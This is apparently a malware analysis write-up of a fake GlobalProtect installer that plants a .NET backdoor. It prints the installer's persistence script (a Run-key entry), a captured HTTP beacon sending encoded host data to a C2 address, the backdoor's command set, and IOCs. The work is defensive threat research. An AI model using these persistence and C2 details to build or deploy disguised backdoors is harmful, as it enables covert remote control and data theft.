7 min read

Malware analysis - .NET - Backdoor GlobalProtect application

Malware analysis - .NET - Backdoor GlobalProtect application

Sample

  • Name: Setup.exe
  • SHA256: e3880c7db78e09748fe9caf02f330b1c61cd3aaaa31ffe93fb5ba1fb1035f761

References

Overview

  • Fake Palo Alto GlobalProtect installer application targeting the Middle East.
  • The installer, Setup.exe, drops GlobalProtect.exe.
  • GlobalProtect.exe allows the operator to run PowerShell, download/upload files and execute programs on an infected host.
  • Notably, uses the Interactsh project for some C2 communications.

Sandbox analysis

URL: https://tria.ge/240829-xm5y2swdrc/behavioral1

Highlights:

Registry run key set.
Files dropped.
Process tree from Triage run.
POST /B/desktop/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 94[.]131[.]108[.]78:7118
Content-Length: 438
Expect: 100-continue
Connection: Keep-Alive

start=IhVdqOiOjuDxlsQxuhCjBQ%253d%253d&text=dVIwa0Y2cmhiUW5wWkZmdVQ2Rlk1MlpzMGl4UnFqTGI%253d&disable_web_page_preview=49ufpDW%252bZyUrF3DV6gU5YQ%253d%253d&disable_notification=LidJtqwxMYIKBpibrl1022WhPc1eA5%252fDJ214czh0b%252fI%253d&description=IZwJBn3wXvKXHSGqe1EUAw%253d%253d&document=IZwJBn3wXvKXHSGqe1EUAw%253d%253d&CatId=3R8jIyXSzlHEvyyLX2oFcg%253d%253d&PageId=%252bWf1bKUQKhWGKqiKLUgZrw%253d%253d&Id=uvxh6dsWCQ1QtmfDBVFKSA%253d%253d

Example HTTP request by GlobalProtect.exe

DNS requests to oast[.]fun domains

Manual analysis

Based on the Triage sandbox analysis we are going to break the analysis in two sections, that is, analysis of:

  • Setup.exe
  • GlobalProtect.exe

Analysis of Setup.exe

The process listing from Triage gives an indication that Setup.exe may be a InnoSetup installer file based on the following (note the directory path is-XXXX.tmp):

C:\Users\Admin\AppData\Local\Temp\is-MVOSB.tmp\Setup.tmp

While there are other ways to verify this, it is a simple operation to attempt to unpack the InnoSetup installer to see if we are correct.

We can use the tool innounp.exe (https://innounp.sourceforge.net/) to unpack the InnoSetup installer file to retrieve embedded resources and the installer script. However, attempts at using this tool failed with the following error message:

C:\Users\eng\Desktop\innounp050>innounp.exe -x C:\Users\eng\Desktop\setup.exe.bin

Signature detected: Inno Setup Setup Data (6.3.0)
This is not directly supported, but i'll try to unpack it as version 5602
; Version detected: 6300
Critical error: The setup files are corrupted. Please obtain a new copy of the program.

Error produced by Innounp.

Research suggested the use of innounp-unicode to resolve this error, which can be found at the following URL: https://www.rathlev-home.de/tools/download/innounp-1.zip

C:\Users\eng\Desktop\Sample>innounp.exe -xv setup.exe.bin
*innounp*, the Inno Setup Unpacker. Version 1.72
Inno Setup archive: C:\Users\eng\Desktop\Sample\setup.exe.bin
=> Version detected: 6300 (Unicode)
#0 {autopf32}\PaloAlto\GlobalProtect.exe - extracted
#1 install_script.iss - extracted

Extraction of Setup.exe via innounp-unicode

This has now provided us with the following files for analysis:

  • install_script.iss / 9d1d0634551184f184fb1a4cdb95ecdc00ecdb789d60805873de3f971a5f5818 - the installer script, and
  • {autopf32}\PaloAlto\GlobalProtect.exe / a23adcce96b743d1ecc5a0410fdb6326ae7fff2e78917f51cc70497320dbe750 - executable observed running and beaconing in the sandbox.

The following snippet highlights a few of the installer script's interesting sections:

;InnoSetupVersion=6.3.0 (Unicode)

[Setup]
AppName=GlobalProtect
AppId={{BD2E6DF5-0895-4E6C-B1BC-35EF3D9B8BEA}
AppVersion=4.1.2.12
AppPublisher=PaloAlto Networks
AppPublisherURL=https://www.paloaltonetworks.com/
AppSupportURL=https://www.paloaltonetworks.com/
AppUpdatesURL=https://www.paloaltonetworks.com/
DefaultDirName={autopf32}\PaloAlto
PrivilegesRequired=lowest

[Files]
Source: "{autopf32}\PaloAlto\GlobalProtect.exe"; DestDir: "{autopf32}\PaloAlto"; Flags: comparetimestamp ignoreversion 

[Registry]
Root: HKCU; Subkey: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; ValueName: "GlobalProtect"; ValueType: String; ValueData: "{autopf32}\PaloAlto\GlobalProtect.exe"; Flags: uninsdeletevalue 

[Run]
Filename: "{autopf32}\PaloAlto\GlobalProtect.exe"; Description: "{cm:LaunchProgram,GlobalProtect}"; Flags: postinstall nowait 

Here we can observe:

  • [Setup] containing application configuration information,
  • [Files] copying the GlobalProtect.exe file to its target directory: Source: "{autopf32}\PaloAlto\GlobalProtect.exe"; DestDir: "{autopf32}\PaloAlto" Here we can see {autopf32} within the directory path. This is a InnoSetup constant that maps to {commonpf32} when the installer is run as an Administrator, or {userpf} when ran as a non-privileged user. We can see that the PrivlegesRequired directive is set to lowest within the [Setup] section, indicating that the installer will run in a non-administrative mode, meaning {userpf} will be used. {userpf} corresponds to the following directory: {localappdata}\Programs.
  • A registry run key defined under the [Registry] section:
Root: HKCU; Subkey: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; ValueName: "GlobalProtect"; ValueType: String; ValueData: "{autopf32}\PaloAlto\GlobalProtect.exe"; Flags: uninsdeletevalue 

We will now turn our attention to the GlobalProtect.exe file as this contains the functionality we would like to discuss.

Analysis of GlobalProtect.exe

The GlobalProtect.exe executable that was dropped by Setup.exe executable has the following hash:

a23adcce96b743d1ecc5a0410fdb6326ae7fff2e78917f51cc70497320dbe750

A quick review within PeStudio suggests that this file has a Microsoft .NET signature. As a quick smoke test, we loaded the file in dnSpy and were presented with decompiled .NET code.

A quick review of the code suggests it is using minimal obfuscation, that is:

  • Obfuscated class/method/variable names, and
  • Defines methods that are never called.

Despite this, it is fairly simple to read the code and perform renames as required. For the purposes of the article, the renames have been overdone for ease of readability.

The following screenshot depicts the static constructor (.cctor()) for our sample, which appears to be setting a number of configuration variables, some of which should be familiar to the reader based on the sandbox analysis:

Setting malware configuration.

When can then jump to the entry point of our sample, which is depicted in the screenshot below. Here we can observe that the sample:

  • Checks that it is running from the expected directory (MaleDir_const - C:\Users\<username>\AppData\Local\Programs\PaloAlto)
  • Checks whether a configuration file exists - Stp.conf. In the event it doesn't exist (i.e. first time running), the sample makes a call to display a dialog to the user, as well as creates an empty file named Stp.conf.
  • Ensures that there is only one copy of itself running, and if so:
    • Manipulates the notification icon for the sample,
    • Generates a key, which is then written to ApProcessId.conf on disk. The key is then set in the MalwareConfig.DesktoProcessId
      MalwareConfig.XorKey variables, and is also sent via a DNS request to step1-{DesktoProcessId}.{subdomain}.oast.fun.
    • Retrieves and sets information for later use about its operating environment - such as IP address, user context and operating system.
  • Sends a DNS request to step3-{DesktoProcessId}.{subdomain}.oast.fun (interestingly, step2 is skipped for now),
  • Makes a call to listen for commands from the C2 (depicted as C2Utils().ListenCmds(true) in the screenshot below).
Entry point of GlobalProtect.exe

We will now perform a review of the C2Utils().ListenCmds() method. This body of this method is depicted in the following screenshot.

For loop retrieving and acting upon C2 commands.

The method begins by sending another DNS request to the oast[.]fun domain, this time with a prefix of step4-, following the same format as before (that is, stepX-{DesktoProcessId}.{subdomain}.oast.fun.

The method then makes a call to C2Utils.SendBasicDetailsWithAdd(), which retrieves basic information about the infected host and sends this information back to the C2 along with a DNS request to the oast[.]fun domain, this time with the step2- prefix. The contents of this method is depicted in the following screenshot.

Retrieving information about the host environment and uploading to C2.

Returning to the method C2Utils().ListenCmds(), the sample then queries the C2 for a command by calling the GetCommandsFromC2() method, which sends an AES encrypted message to the C2 server, where the key for the AES algorithm is defined within the MalwareConfig.XorKey variable.

Method used to retrieve command from C2 address.

Once retrieved, we return to the method C2Utils().ListenCmds() where a series of if/else statements are used to perform operations based on the command returned from the C2.

The options with the corresponding actions are as follows:

  • time to rest - Sleep
  • pw - execute a provided PowerShell command
  • pr - the pr option allows the operator to:
    • upload a file - upl
    • download a file - dnld
    • execute a program - create-process
    • retrieve the current defined sleep time - wtime
    • set the sleep time - wtime

The sample then sends the response from associated command back to the C2 server, ensuring to AES encrypt it before sending.

Method used to send data back to the C2 address.

The sample then sleeps for a random interval (with the upper bound being the operator defined sleep time) and then attempts to retrieve the next command from the C2.

IOCs

  • e3880c7db78e09748fe9caf02f330b1c61cd3aaaa31ffe93fb5ba1fb1035f761
  • a23adcce96b743d1ecc5a0410fdb6326ae7fff2e78917f51cc70497320dbe750
  • stepX-{DesktoProcessId}.tdyfbwxngpmixjiqtjjote3k9qwc31dsx[.]oast.fun
  • C:\Users\<user>\AppData\Local\Programs\PaloAlto\
    • GlobalProtect.exe
    • ApProcessId.conf
    • RTime.conf
    • Stp.conf
  • 94[.]131[.]108[.]78:7118/B/
    • hi/
    • desktop/
    • Mirror/
  • portal[.]sharjahconnect[.]online